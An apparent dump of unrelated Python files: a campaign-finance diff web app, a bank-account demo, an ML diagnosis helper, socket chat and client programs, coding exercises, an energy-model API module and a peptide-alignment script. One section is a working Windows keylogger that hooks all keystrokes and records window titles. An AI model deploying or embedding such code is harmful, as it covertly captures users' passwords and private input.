from app import app
from models import File, Contribution, ContributionChanges, ContributionHistory

from flask_peewee.utils import get_dictionary_from_model

from flask import request, render_template

import json

from datadiff import diff

def date_handler(obj):
    return obj.isoformat() if hasattr(obj, 'isoformat') else obj

from dateutil.parser import parse as dateparse

@app.route('/summary')
def summary():
    text = '
Database Summary
\n'
    file1 = File.get(id=1)
    file2 = File.get(id=2)
    file3 = File.get(id=3)

    text += '
' + file1.name + '
\n'
    text += '
' + file2.name + '
\n'
    text += '
' + file3.name + '
\n'

    return text

def dumps(x, **args):
	return json.dumps(x, default=date_handler, **args)

transaction_pgi_dict = {
	"P": "Primary",
	"G": "General",
	"O": "Other",
	"C": "Convention",
	"R": "Runoff",
	"S": "Special",
	"E": "Recount"
}

ammendment_id_dict = {
	"N": "new",
	"A": "ammendment",
	"T": "termination"
}

transaction_tp_dict = {
	"10": "Non-Federal Receipt from Persons",
	"10J": "Memo Receipt from JF Super PAC",
	"11": "Tribal Contribution",
	"11J": "Memo Receipt from JF Tribal",
	"12": "Non-Federal Other Receipt - Levin Account (L-2)",
	"13": "Inaugural Donation Accepted",
	"15": "Contribution",
	"15C": "Contribution from Candidate",
	"15E": "Earmarked Contribution",
	"15F": "Loans forgiven by Candidate",
	"15I": "Earmarked Intermediary In",
	"15J": "Memo (Filer's Percentage of Contribution Given to Join Fundraising Committee)",
	"15T": "Earmarked Intermediary Treasury In",
	"15Z": "In-Kind Contribution Received from Registered Filer",
	"16C": "Loans Received from the Candidate",
	"16F": "Loans Received from Banks",
	"16G": "Loan from Individual",
	"16H": "Loan from from Registered Filers",
	"16J": "Loan Repayments from Individual",
	"16K": "Loan Repayments from from Registered Filer",
	"16L": "Loan Repayments Received from Unregistered Entity",
	"16R": "Loans Received from Registered Filers",
	"16U": "Loan Received from Unregistered Entity",
	"17R": "Contribution Refund Received from Registered Entity",
	"17U": "Refunds/Rebates/Returns Received from Unregistered Entity",
	"17Y": "Refunds/Rebates/Returns from Individual or Corporation",
	"17Z": "Refunds/Rebates/Returns from Candidate or Committee",
	"18G": "Transfer In Affiliated",
	"18H": "Honorarium Received",
	"18J": "Memo (Filer's Percentage of Contribution Given to Join Fundraising Committee)",
	"18K": "Contribution Received from Registered Filer",
	"18L": "Bundled Contribution",
	"18S": "Receipts from Secretary of State",
	"18U": "Contribution Received from Unregistered Committee",
	"19": "Electioneering Communication Donation Received",
	"19J": "Memo (Electioneering Communication Percentage of Donation Given to Join Fundraising Committee)",
	"20": "Disbursement - Exempt from Limits",
	"20A": "Non-Federal Disbursement - Levin Account (L-4A) Voter Registration",
	"20B": "Non-Federal Disbursement - Levin Account (L-4B) Voter Identification",
	"20C": "Loan Repayments Made to Candidate",
	"20D": "Non-Federal Disbursement - Levin Account (L-4D) Generic Campaign",
	"20F": "Loan Repayments Made to Banks",
	"20G": "Loan Repayments Made to Individual",
	"20R": "Loan Repayments Made to Registered Filer",
	"20V": "Non-Federal Disbursement - Levin Account (L-4C) Get Out The Vote",
	"20Y": "Non-Federal Refund",
	"21Y":	"Tribal Refund",
	"22G":	"Loan to Individual",
	"22H":	"Loan to Candidate or Committee",
	"22J":	"Loan Repayment to Individual",
	"22K":	"Loan Repayment to Candidate or Committee",
	"22L":	"Loan Repayment to Bank",
	"22R":	"Contribution Refund to Unregistered Entity",
	"22U":	"Loan Repaid to Unregistered Entity",
	"22X":	"Loan Made to Unregistered Entity",
	"22Y":	"Contribution Refund to Individual",
	"22Z":	"Contribution Refund to Candidate or Committee",
	"23Y":	"Inaugural Donation Refund",
	"24A":	"Independent Expenditure Against",
	"24C":	"Coordinated Expenditure",
	"24E":	"Independent Expenditure For",
	"24F":	"Communication Cost for Candidate (C7)",
	"24G":	"Transfer Out Affiliated",
	"24H":	"Honorarium to Candidate",
	"24I":	"Earmarked Intermediary Out",
	"24K":	"Contribution Made to Non-Affiliated",
	"24N":	"Communication Cost Against Candidate (C7)",
	"24P":	"Contribution Made to Possible Candidate",
	"24R":	"Election Recount Disbursement",
	"24T":	"Earmarked Intermediary Treasury Out",
	"24U":	"Contribution Made to Unregistered Entity",
	"24Z":	"In-Kind Contribution Made to Registered Filer",
	"28L":	"Refund of Bundled Contribution",
	"29":   "Electioneering Communication Disbursement or Obligation"
}

report_type_dict = {
	"12C": "PRE-CONVENTION",
	"12G": "PRE-GENERAL",
	"12P": "PRE-PRIMARY",
	"12R": "PRE-RUN-OFF",
	"12S": "PRE-SPECIAL",
	"30D": "POST-ELECTION",
	"30G": "POST-GENERAL",
	"30P": "POST-PRIMARY",
	"30R": "POST-RUN-OFF",
	"30S": "POST-SPECIAL",
	"60D": "POST-CONVENTION",
	"ADJ": "COMP ADJUST AMEND",
	"CA": "COMPREHENSIVE AMEND",
	"M10": "OCTOBER MONTHLY",
	"M11": "NOVEMBER MONTHLY",
	"M12": "DECEMBER MONTHLY",
	"M2": "FEBRUARY MONTHLY",
	"M3": "MARCH MONTHLY",
	"M4": "APRIL MONTHLY",
	"M5": "MAY MONTHLY",
	"M6": "JUNE MONTHLY",
	"M7": "JULY MONTHLY",
	"M8": "AUGUST MONTHLY",
	"M9": "SEPTEMBER MONTHLY",
	"MY": "MID-YEAR REPORT",
	"Q1": "APRIL QUARTERLY",
	"Q2": "JULY QUARTERLY",
	"Q3": "OCTOBER QUARTERLY",
	"TER": "TERMINATION REPORT",
	"YE": "YEAR-END",
	"90S": "POST INAUGURAL SUPPLEMENT",
	"90D": "POST INAUGURAL",
	"48H": "48 HOUR NOTIFICATION",
	"24H": "24 HOUR NOTIFICATION"
}

@app.route('/')
def hello():
	before = dateparse(request.args.get('before')).date()
	after = dateparse(request.args.get('after')).date()

	ret = []

	for contrib in ContributionChanges.select().where(ContributionChanges.date == before):
		before_contrib_dict = get_dictionary_from_model(contrib)
		after_contrib_dict = get_dictionary_from_model(Contribution.get(sub_id=contrib.sub_id).get_on_date(after))

		before_contrib_dict.pop('id')
		before_contrib_dict.pop('contribution')
		after_contrib_dict.pop('id')

		after_contrib_dict['transaction_pgi'] = transaction_pgi_dict[after_contrib_dict['transaction_pgi']] if after_contrib_dict['transaction_pgi'] else None
		before_contrib_dict['transaction_pgi'] = transaction_pgi_dict[before_contrib_dict['transaction_pgi']] if before_contrib_dict['transaction_pgi'] else None

		after_contrib_dict['ammendment_id'] = ammendment_id_dict[after_contrib_dict['ammendment_id']] if after_contrib_dict['ammendment_id'] else None
		before_contrib_dict['ammendment_id'] = ammendment_id_dict[before_contrib_dict['ammendment_id']] if before_contrib_dict['ammendment_id'] else None

		after_contrib_dict['transaction_tp'] = transaction_tp_dict[after_contrib_dict['transaction_tp']] if after_contrib_dict['transaction_tp'] else None
		before_contrib_dict['transaction_tp'] = transaction_tp_dict[before_contrib_dict['transaction_tp']] if before_contrib_dict['transaction_tp'] else None

		after_contrib_dict['report_type'] = report_type_dict[after_contrib_dict['report_type']] if after_contrib_dict['report_type'] else None
		before_contrib_dict['report_type'] = report_type_dict[before_contrib_dict['report_type']] if before_contrib_dict['report_type'] else None
		# report_type_dict

		ret.append({
			"before": before_contrib_dict,
			"after": after_contrib_dict,
			"changes": list(set([x[1][0][0] for x in diff(before_contrib_dict, after_contrib_dict).diffs if x[0] not in ["equal", "context_end_container"] and x[1][0][0] not in ['contribution', 'date', 'id']]))
		})

	before_sub_ids = set([x.sub_id for x in ContributionHistory.select().where(ContributionHistory.date == before)])
	after_sub_ids = set([x.sub_id for x in ContributionHistory.select().where(ContributionHistory.date == after)])

	for sub_id in (before_sub_ids - after_sub_ids):
		ret.append({
			"before": get_dictionary_from_model(Contribution.get(sub_id=sub_id)),
			"after": None,
			"changes": None
		})

	return render_template('diff.html', ret=ret, before=before, after=after)
	# return json.dumps(ret, default=date_handler)


from Conta import Conta

conta1 = Conta(4444, '16846846', 'Amanda', 0)
conta2 = Conta(12345, '074.210.694-29', 'Valter', 0)

'''
print(conta.numero)
print(conta.cpf)
print(conta.nomeTitular)
print(conta.saldo)

print(conta2.numero)
print(conta2.cpf)
print(conta2.nomeTitular)
print(conta2.saldo)

conta.depositar(300)
conta.sacar(100)
conta.gerarExtrato()

# Os operadores “==” e “!=” comparam se as duas variáveis de referência apontam para
# o mesmo endereço de memória

if conta1 != conta2:
   print('Endereços diferentes de memória')

# O comando “=” realiza o trabalho de igualar a posição de duas referências na memória.
conta1 = conta2
if (conta1 == conta2):
   print("Enderecos iguais de memoria")
print(conta1.cpf)
print(conta2.cpf)

'''

conta1.depositar(1000)
conta1.transfereValor(conta2, 500)
conta1.gerarExtrato()
print('*************************')
conta2.gerarExtrato()
conta1.transfereValor(conta2, 10000)


import joblib

class bipolar:
    def __init__(self):
        self.bipolar_model = joblib.load(
            "/media/raza/asd/Django/test/MindBliss/ClassesModels/bipolar.pkl")

    # Function that takes a binary array of size 11 as input and returns the predicted outcome for the bipolar test
    def bipolar_prediction_with_array(self,answers_array):
        prediction = self.bipolar_model.predict([answers_array])
        switcher = {
             0: 'Negative bipolar',
            1.0: 'Positive bipolar'
        }

        return switcher.get(float(prediction[0]), "Wrong Result")

    # Function that takes in 11 binary values as input and returns the predicted outcome for the bipolar test
    def bipolar_prediction_with_values(self,q1, q2, q3, q4, q5, q6, q7, q8, q9, q10, q11):
        prediction = self.bipolar_model.predict([[q1, q2, q3, q4, q5, q6, q7, q8 ,q9, q10, q11]])
        switcher = {
            0: 'Negative bipolar',
            1.0: 'Positive bipolar'
        }

        return switcher.get(float(prediction[0]), "Wrong Result")


import socket
import kivy
from kivy.core.window import Window
from kivy.properties import ObjectProperty
from kivy.uix.boxlayout import BoxLayout
from kivy.app import App

kivy.require('1.0.6')  # replace with your current kivy version !
__version__ = "1.0.3"

host = 'localhost'  # The server's hostname or IP address
port = 12345  # The port used by the server

class MainWindow(BoxLayout):
    input_text = ObjectProperty()
    status = ObjectProperty()
    port_data = ObjectProperty()
    host_data = ObjectProperty()
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    def light_led(self):
        print(self.input_text.text)
        message = self.input_text.text
        self.client.send(message.encode())

    def connect(self):
        self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print("Trying to connect to the server")

        try:
            if self.port_data.text != "" and self.host_data.text != "":
                self.client.connect((self.host_data.text, int(self.port_data.text)))
            else:
                self.client.connect((host, port))
            print("Connection successful!")
            self.status.text = "Connected"
        except socket.error as exc:
            print("Caught exception socket.error : %s" % exc)
            self.status.text = str(exc)

    def disconnect(self):
        self.status.text = "Disconnected"
        print("Disconnecting from the server")
        self.client.close()

class MainApp(App):

    def build(self):
        Window.bind(on_request_close=self.on_request_close)
        return MainWindow()

    def on_request_close(self, *args):
        print("goodbye")
        MainWindow.client.close()
        self.stop()
        return True

if __name__ == '__main__':
    MainApp().run()


# 체스 세트 맞추기
# 킹 1, 퀸 1, 룩 2, 비숍 2, 나이트 2, 폰 8

# input: 정리되지 않은 킹, 퀸, 룩, 비숍, 나이트, 폰
# output: 원하는 양만큼 계산하여 출력
"""
Input_int 와 numchess에서 각 index 불러오기
불러온 index 에서 연산 수행 (Input_int - numchess)
빈 리스트 (result)에 append
print result
"""

import sys

input_int = list(map(int,input().split()))

numchess = [1, 1, 2, 2, 2, 8]

result = []
for x, y in zip (numchess,input_int):
    result.append(x-y)

print(*result)
# print(type(result))


import sys
from collections import deque

dx = [0, -1, 0, 1]
dy = [-1, 0, 1, 0]
T = int(input())

def wall(wallnum):
    if wallnum == 3:
        bfs()
        return
    for i in range(N):
        for j in range(M):
            if lab[i][j] == 0:
                lab[i][j] = 1
                wall(wallnum+1)
                lab[i][j] = 0

def bfs():
    global result
    queue = deque()
    lab1 = [[0 for _ in range(M)] for _ in range(N)]
    for i in range(N):
        for j in range(M):
            lab1[i][j] = lab[i][j]
    count = 0
    for i in range(N):
        for j in range(M):
            if lab1[i][j] == 2:
                queue.append([i, j])
    while queue:
        cx, cy = queue.popleft()
        for k in range(4):
            nx = cx + dx[k]
            ny = cy + dy[k]
            if 0 <= nx < N and 0 <= ny < M and lab1[nx][ny] == 0:
                lab1[nx][ny] = 2
                queue.append([nx, ny])
    for i in range(N):
        for j in range(M):
            if lab1[i][j] == 0:
                count += 1
    result = max(result, count)

for tc in range(T):
    N, M = map(int, input().split())
    lab = []
    result = 0
    for i in range(N):
        lab.append(list(map(int, input().split())))

    wall(0)
    print("#%d %d" %(tc+1, result))


#-------------------------------------------------------------------------------------#
#-------------------------- Server Side For 'LocalChat' ------------------------------#
#-------------------------------------------------------------------------------------#

import socket
import threading

# Server configuration
HOST = '127.0.0.1'  # Server IP address
PORT = 13333 # Non-Service port used for Server - Client communication

# Create a socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((HOST, PORT))
server_socket.listen()

# List to store client connections
client_connections = []
client_usernames = []

def handle_client(client_socket, username):
    while True:
        try:
            message = client_socket.recv(1024).decode('utf-8')
            if message:
                if message == '[USERS]':
                    client_socket.send(f'Connected Users: {client_usernames}'.encode('utf-8'))
                else:
                    broadcast_message = f'{username} > {message}'
                    print(broadcast_message)
                    broadcast(broadcast_message, client_socket)
            else:
                remove_client(client_socket, username)
                break
        except Exception as e:
            print(f"Error: {e}")
            remove_client(client_socket, username)
            break

def broadcast(message, sender_socket):
    for client in client_connections:
        if client != sender_socket:
            client.send(message.encode('utf-8'))

def remove_client(client_socket, username):
    index = client_connections.index(client_socket)
    client_connections.remove(client_socket)
    client_socket.close()

    removed_username = client_usernames[index]
    client_usernames.remove(removed_username)
    broadcast(f'[-] {removed_username} has left the chat', None)

def accept_connections():
    while True:
        client_socket, client_address = server_socket.accept()

        username = client_socket.recv(1024).decode('utf-8')
        client_connections.append(client_socket)
        client_usernames.append(username)

        print(f"New connection from {client_address} > ('{username}')")
        broadcast(f'[+] {username} has joined the chat', None)
        client_socket.send('\tWelcome to the chat!'.encode('utf-8'))

        client_thread = threading.Thread(target=handle_client, args=(client_socket, username))
        client_thread.start()

#---------------- Main() ----------------
# Start accepting connections
accept_thread = threading.Thread(target=accept_connections)
accept_thread.start()
print(f'Host: {HOST} open on Port: {PORT} ...')


# Implementing a local keylogger

# Importing Modules
from ctypes import *
from ctypes import wintypes

# Setting up variables
user32 = windll.user32
LRESULT = c_long
WH_KEYBOARD_LL = 13

WM_KEYDOWN = 0x0100
WM_RETURN = 0x0D
WM_SHIFT = 0x10

# Win32 Function Definitions
# GetWindowTextLengthA function (Retrieves teh length, in characters, of the specified window's title bar text)
GetWindowTextLengthA = user32.GetWindowTextLengthA
GetWindowTextLengthA.argtypes = (wintypes.HANDLE, )
GetWindowTextLengthA.restype = wintypes.INT

# GetWindowTextA Function (Copies the text of the specified window's title bar into a buffer)
GetWindowTextA = user32.GetWindowTextA
GetWindowTextA.argtypes = (wintypes.HANDLE, wintypes.LPSTR, wintypes.INT)
GetWindowTextA.restype = wintypes.INT

# GetKeyState Function (Retrieves the status of the specified virtual key)
GetKeyState = user32.GetKeyState
GetKeyState.argtypes = (wintypes.INT, )
GetKeyState.restype = wintypes.SHORT

# GetKeyboardState Function (Copies the status of the 256 Virtual keys to the specified buffer)
keyboard_state = wintypes.BYTE*256
GetKeyboardState = user32.GetKeyboardState
GetKeyboardState.argtypes = (POINTER(keyboard_state), )
GetKeyboardState.restype = wintypes.BOOL

# ToAscii Function (Translate the virtual-key code and keyboard state to the corresponding characters)
ToAscii = user32.ToAscii
ToAscii.argtypes = (wintypes.UINT, wintypes.UINT, POINTER(keyboard_state), wintypes.LPWORD, wintypes.UINT)
ToAscii.restype = wintypes.INT

# CallNextHookEx Function (Passes the hook information to the next hook procedure in the current hook chain)
CallNextHookEx = user32.CallNextHookEx
CallNextHookEx.argtypes = (wintypes.HHOOK, wintypes.INT, wintypes.WPARAM, wintypes.LPARAM)
CallNextHookEx.restype = LRESULT

#SetWindowsHookExA Function (Installs an application defined hook procedure into a hook chain)
HOOKPROC = CFUNCTYPE(LRESULT, wintypes.INT, wintypes.WPARAM, wintypes.LPARAM)

SetWindowsHookExA = user32.SetWindowsHookExA
SetWindowsHookExA.argtypes = (wintypes.INT, HOOKPROC, wintypes.HINSTANCE, wintypes.DWORD)
SetWindowsHookExA.restype = wintypes.HHOOK

# GetMessageA Function (Retrieves a message from the calling thread's message queue. THe function dispatches incoming sent messages until a posted message is available for retrieval)
GetMessageA = user32.GetMessageA
GetMessageA.argtypes = (wintypes.LPMSG, wintypes.HWND, wintypes.UINT, wintypes.UINT)
GetMessageA.restype = wintypes.BOOL

class KBDLLHOOKSTRUCT(Structure):
    _fields_ = [("vkCode", wintypes.DWORD),
                ("scanCode", wintypes.DWORD),
                ("flags", wintypes.DWORD),
                ("time", wintypes.DWORD),
                ("dwExtraInfo", wintypes.DWORD)]

# GetForegroundWindow Function (Retrieves a handle to the foreground window)
def get_foreground_process():
    hwnd = user32.GetForegroundWindow()
    length = GetWindowTextLengthA(hwnd)

    buff = create_string_buffer(length+1)
    GetWindowTextA(hwnd, buff, length + 1)
    return buff.value

# Settingup the Hook to start the keylogger
def hook_function(nCode, WParam, lParam): # To hook and handle keyboard events
    global last
    if last != get_foreground_process():
        last = get_foreground_process()
        print("\n[{}]".format(last.decode("latin-1")))

    if WParam == WM_KEYDOWN:
        keyboard = KBDLLHOOKSTRUCT.from_address(lParam)

        state = (wintypes.BYTE*256)()
        GetKeyState(WM_SHIFT)
        GetKeyboardState(byref(state))

        buf = (c_ushort*1)()
        n = ToAscii(keyboard.vkCode, keyboard.scanCode, state, buf, 0)

        if n > 0:
            if keyboard.vkCode == WM_RETURN:
                print()
            else:
                print("{}".format(string_at(buff).decode("latin-1")), end="", flush=True)

    return CallNextHookEx(hook, nCode, WParam, lParam)

callback = HOOKPROC(hook_function)

hook = SetWindowsHookExA(WH_KEYBOARD_LL, callback, 0, 0)
GetMessageA(byref(wintypes.MSG()), 0, 0, 0)


from __future__ import annotations
from collections.abc import Iterable

import math
import pandas as pd

from pyetm.logger import get_modulelogger
from .session import SessionMethods

logger = get_modulelogger(__name__)

class AccountMethods(SessionMethods):
    """Account object methods"""

    @property
    def my_scenarios(self) -> pd.DataFrame:
        """ all scenarios connected to account"""

        # validate token permission
        self._validate_token_permission("scenarios:read")

        # set url
        url = 'scenarios'

        # determine number of pages
        pages = self._get_objects(url=url, page=1, limit=1)
        pages = math.ceil(pages['meta']['total'] / 100)

        if pages == 0:
            return pd.DataFrame()

        # newlist
        scenarios = []
        for page in range(1, pages + 1):

            # fetch pages and format scenarios
            recs = self._get_objects(url, page=page, limit=100)['data']

            excl = ['user_values', 'balanced_values', 'metadata', 'url']
            scenarios.extend([
                self._format_object(scen, excl) for scen in recs])

        return pd.DataFrame.from_records(scenarios, index='id')

    @property
    def my_saved_scenarios(self) -> pd.DataFrame:
        """all saved scenarios connector to account"""

        # validate token permission
        self._validate_token_permission("scenarios:read")

        # set url
        url = 'saved_scenarios'

        # determine number of pages
        pages = self._get_objects(url, page=1, limit=1)
        pages = math.ceil(pages['meta']['total'] / 100)

        if pages == 0:
            return pd.DataFrame()

        # newlist
        scenarios = []
        for page in range(1, pages + 1):

            # fetch pages and format scenarios
            recs = self._get_objects(url, page=page, limit=100)['data']

            excl = ['scenario', 'scenario_id', 'scenario_id_history']
            scenarios.extend([
                self._format_object(scen, excl) for scen in recs])

        return pd.DataFrame.from_records(scenarios, index='id')

    @property
    def my_transition_paths(self) -> pd.DataFrame:
        """all transition paths connected to account"""

        # validate token permission
        self._validate_token_permission("scenarios:read")

        # set url
        url = 'transition_paths'

        # determine number of pages
        pages = self._get_objects(url, page=1, limit=1)
        pages = math.ceil(pages['meta']['total'] / 100)

        if pages == 0:
            return pd.DataFrame()

        # newlist
        paths = []
        for page in range(1, pages + 1):

            # fetch pages and format scenarios
            recs = self._get_objects(url, page=page, limit=100)['data']

            paths.extend([
                self._format_object(path) for path in recs])

        return pd.DataFrame.from_records(paths, index='id')

    def _format_object(self, obj: dict, exclude: Iterable | None = None):
        """helper function to reformat a object."""

        # default list
        if exclude is None:
            exclude = []

        # add string to list
        if isinstance(exclude, str):
            exclude = [exclude]

        # flatten passed keys
        for key in ['owner']:
            if key in obj:

                # flatten items in dict
                item = obj.pop(key)
                item = {f'{key}_{k}': v for k, v in item.items()}

                # add back to scenario
                obj = {**obj, **item}
        # process datetimes
        for key in ['created_at', 'updated_at']:
            if key in obj:
                if obj.get(key) is not None:
                    obj[key] = pd.to_datetime(obj[key], utc=True)

        for key in ['template']:
            if key in obj:
                if obj.get(key) is None:
                    obj[key] = pd.NA

        # reduce items in scenario
        return {k:v for k,v in obj.items() if k not in exclude}

    def _get_objects(self, url: str, page: int = 1, limit: int = 25) -> dict:
        """Get info about object in url that are connected
         to the user token. Object can be scenarios, saved scenarios
         or transition paths."""

        # raise without required permission
        self._validate_token_permission(scope='scenarios:read')

        # format request
        params = {'page': int(page), 'limit': int(limit)}
        headers = {'content-type': 'application/json'}

        # request response
        resp = self.session.get(
            url, params=params, decoder='json', headers=headers)

        return resp


from argparse import ArgumentParser
import json, logging

import seeker.podSeeker as Seeker
import judge.simpleJudge as Judge
import updater.simpleUpdater as Updater

class Query():
    def __init__(self, query_id, src_id, dst_id):
        self.query_id = query_id
        self.src_id = src_id
        self.dst_id = dst_id

def str2bool(v):
    if isinstance(v, bool):
       return v
    if v.lower() in ('yes', 'true', 't', 'y', '1'):
        return True
    elif v.lower() in ('no', 'false', 'f', 'n', '0'):
        return False
    else:
        raise argparse.ArgumentTypeError('Boolean value expected.')

def create_env():
    weights = [0] * 20
    queries = [0] * 20
    for i in range(20):
        queries[i] = []
    return weights, queries

if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument("-r", "--read", help="Query input file location", dest="query_location", default="./data/queries.json")
    parser.add_argument("-n", "--number", help="Total query number", dest="query_number", type=int, default=250)
    parser.add_argument("-a", "--aggregator", help="Also deploy aggregator", type=str2bool, nargs='?',
const=True, default=True, dest="deploy_aggr")
    args = parser.parse_args()

    logging.basicConfig(level=logging.INFO)

    weights, switch_queries = create_env()

    with open(args.query_location, 'r') as read_queries:
        unparsed_queries = read_queries.read()

    input_queries = json.loads(unparsed_queries)

    if args.query_number <= 0:
        logging.error("Query number should be a positive integer !")
        exit()

    # mapping relationship between query and its monitors
    monitors_under_queries = [0] * args.query_number
    for i in range(args.query_number):
        monitors_under_queries[i] = []

    # we first place all query only to edge sw
    # also consider load balance among edge sw
    # but never place monitor on controller's edge sw
    # and always place aggregator on controller's edge sw
    for input_query in input_queries:
        # install monitor for each query
        query = Query(query_id=input_query['query_id'],
            src_id=input_query['src_host_id'],
            dst_id=input_query['dst_host_id'])
        edge_sw1, edge_sw2 = Seeker.find_edge_switch_on_path(
            switch_id1=query.src_id,
            switch_id2=query.dst_id,
            pod_scale=4)
        if edge_sw1 == 0:
            switch_queries[edge_sw2].append(query)
            monitors_under_queries[input_query['query_id']].append(edge_sw2)
            weights[edge_sw2] += 1
        elif edge_sw2 == 0:
            switch_queries[edge_sw1].append(query)
            monitors_under_queries[input_query['query_id']].append(edge_sw1)
            weights[edge_sw1] += 1
        elif weights[edge_sw1] > weights[edge_sw2]:
            switch_queries[edge_sw2].append(query)
            monitors_under_queries[input_query['query_id']].append(edge_sw2)
            weights[edge_sw2] += 1
        else:
            switch_queries[edge_sw1].append(query)
            monitors_under_queries[input_query['query_id']].append(edge_sw1)
            weights[edge_sw1] += 1

    # currently we got the lowest overall tasks
    # since there will only be one monitor for each query entry
    # every query entry on monitor/aggregator is counted as task
    # we take a conservative method, keep most queries far from controller
    if args.deploy_aggr:
        overall_task_count = len(input_queries) + args.query_number
    else:
        overall_task_count = len(input_queries)

    # sandhills are edge monitors awaits to push their task to center sws
    sandhills = sorted(range(len(weights)), key=lambda k: weights[k], reverse=True)

    for sandhill in sandhills:
        if weights[sandhill] <= 0:
            break
        victim_available = True
        # [(entry id, [sw_id1, ...]), (...)]
        swap_out_list = []
        for index, switch_query in enumerate(switch_queries[sandhill]):
            # we only push down sandhill once it is over average
            avg_task_count = overall_task_count / 20
            if victim_available and (weights[sandhill] > avg_task_count):
                victim_sws = []
                aggr_sws = Seeker.find_single_aggr(edge_id=sandhill, pod_scale=4)
                if ((weights[aggr_sws[0]] + weights[aggr_sws[1]]) / 2) < avg_task_count:
                    victim_sws += aggr_sws
                else:
                    for aggr_sw in aggr_sws:
                        if weights[aggr_sw] < avg_task_count:
                            victim_sws.append(aggr_sw)
                        else:
                            # aggr sw also has no room for new queries
                            # ask core sw to adopt queries left
                            core_sws = Seeker.find_single_core(aggr_id=aggr_sw, pod_scale=4)
                            core_cost = (weights[core_sws[0]] + weights[core_sws[1]]) / 2
                            if core_cost < avg_task_count:
                                victim_sws += core_sws
                            else:
                                victim_available = False
                                break
                if victim_available:
                    # put the swap-out relationship into a waiting list
                    # we shouldn't modify the list in its own iterator
                    swap_out_list.append((index, victim_sws))
                    # however, we should faithfully update victim weight at real time
                    for victim_sw in victim_sws:
                        weights[victim_sw] += 1
                    overall_task_count += len(victim_sws) - 1
                    weights[sandhill] -= 1
            else:
                # we make the sandhill not greater than avg
                # or we couldn't find any victim to lower the sandhill
                # move on to next edge monitor
                break
        # actually transfer task from edge monitor to victom sws
        for swap_out_item in reversed(swap_out_list):
            query = switch_queries[sandhill].pop(swap_out_item[0])
            monitors_under_queries[query.query_id].remove(sandhill)
            for victim_sw in swap_out_item[1]:
                monitors_under_queries[query.query_id].append(victim_sw)
                switch_queries[victim_sw].append(query)

    # finally, put all aggregator on controller's ToR
    weights[0] += args.query_number

    # dump simple debug result
    for idx, weight in enumerate(weights):
        print("Switch %d weight = %d" % (idx, weight))
    mean = sum(weights) / len(weights)
    std_err = (sum((i - mean) ** 2 for i in weights) / len(weights)) ** 0.5
    print("Overall task number = %d, avg task = %.2f, std error = %.2f" % (sum(weights), mean, std_err))


#!/usr/bin/env/python3

# =====================================================================================================================
# parse mass spec
# =====================================================================================================================

# ---------------------------------------------------------------------------------------------------------------------
# Objective
#
# This script will read in a 'peptides.csv' mass spec results file from the Harvard Medical School Mass Spec Core Lab.
# It will extract the Peptides column, process each peptide, and then align them to a reference protein.
# ---------------------------------------------------------------------------------------------------------------------

# ---------------------------------------------------------------------------------------------------------------------
# Usage
#
# ./parse_mass_spec.py --peptides peptides.csv --reference protein.fasta
# ---------------------------------------------------------------------------------------------------------------------

# ---------------------------------------------------------------------------------------------------------------------
# Import libraries
# ---------------------------------------------------------------------------------------------------------------------
import argparse
import io
import os
import pandas
from matplotlib import pyplot

from Bio import SeqRecord
from Bio import Seq
from Bio import AlignIO
from Bio import SeqIO
from Bio.Align.Applications import MafftCommandline

# ---------------------------------------------------------------------------------------------------------------------
# Read inputs
# ---------------------------------------------------------------------------------------------------------------------
def read_inputs():

    # Initialize argparse
    parser = argparse.ArgumentParser()

    # Read in the peptides files
    parser.add_argument('--peptides', type=argparse.FileType('r'), required=True)

    # Read in the protein reference file
    parser.add_argument('--reference', type=argparse.FileType('r'), required=True)

    # Save the provided inputs
    args = parser.parse_args()
    return args

# ---------------------------------------------------------------------------------------------------------------------
# Extract peptide strings from peptide file
# ---------------------------------------------------------------------------------------------------------------------
def extract_peptide_strings(peptides_file):

    # Create an empty list to store all of the peptides
    cleaned_peptides = []

    # Setup an output filename to save the fasta of the cleaned peptides
    cleaned_peptides_filename = 'cleaned_peptides.fasta'

    # Read the file as a DataFrame and extract the uncleaned peptide strings
    peptides_df = pandas.read_csv(peptides_file, sep=',', usecols=['ScanF', 'Peptide']).astype('string')
    peptides_with_ids = dict(peptides_df.values)

    # Read in the peptide strings one-by-one, clean them up, and save to new dictionary
    for peptide_id in peptides_with_ids.keys():

        # Read in the entry
        peptide = peptides_with_ids[peptide_id]

        # Remove the first and last predicted residues
        peptide = peptide.split('.')[1]

        # Remove any "*" characters
        peptide = peptide.replace('*', '')

        # Save the cleaned peptide string
        cleaned_peptides.append(SeqRecord.SeqRecord(Seq.Seq(peptide), id=peptide_id))

    # Save cleaned peptides to a fasta file
    SeqIO.write(cleaned_peptides, cleaned_peptides_filename, 'fasta')

    return cleaned_peptides_filename

# ---------------------------------------------------------------------------------------------------------------------
# Take in the cleaned peptides fasta file and align peptides to each other
# ---------------------------------------------------------------------------------------------------------------------
def align_sequences(reference_filename, peptides_fasta):

    # Read in reference sequence and cleaned peptides and combine into one master fasta
    ref_protein = SeqIO.parse(reference_filename, 'fasta')
    peptides = SeqIO.parse(peptides_fasta, 'fasta')
    SeqIO.write(ref_protein, open('combined_proteins.fasta', 'w'), 'fasta')
    SeqIO.write(peptides, open('combined_proteins.fasta', 'a'), 'fasta')

    # Perform multiple sequence alignment using MAFFT
    mafft_cline = MafftCommandline(input='combined_proteins.fasta')
    stdout, stderr = mafft_cline()
    align = AlignIO.read(io.StringIO(stdout), 'fasta')

    # Write alignment to a fasta file
    AlignIO.write(align, 'aligned_peptides.fasta', 'fasta')

    # Delete the concatenated fasta file, no use for it post-analysis
    os.remove('combined_proteins.fasta')

    # Return the alignment for visualization
    return align

# ---------------------------------------------------------------------------------------------------------------------
# Visualization
# ---------------------------------------------------------------------------------------------------------------------
def visualize_alignment(multiple_sequence_alignment):

    """Iterate through the alignment, sequence by sequence
    If gap (-), that position is a 0, if aa residue, that position is a >1;
    Now, I want non-overlapping lines, such that every sequence gets its own line;
    If it's an aa residue, that position will get assigned the sequence_counter value,
    which increases by 1 every time we look at the next sequence"""

    msa = multiple_sequence_alignment

    sequence_counter = 0
    my_df = pandas.DataFrame(columns=['Sequence_ID', 'Position', 'Value'])

    for record in msa:

        sequence_counter += 1
        residue_position = 0

        seq_id = record.id
        sequence = record.seq

        for residue in sequence:
            residue_position += 1

            if residue == "-":
                residue_value = 0
            else:
                residue_value = sequence_counter

            my_df = my_df.append(
                {'Sequence_ID': seq_id,
                 'Position': residue_position,
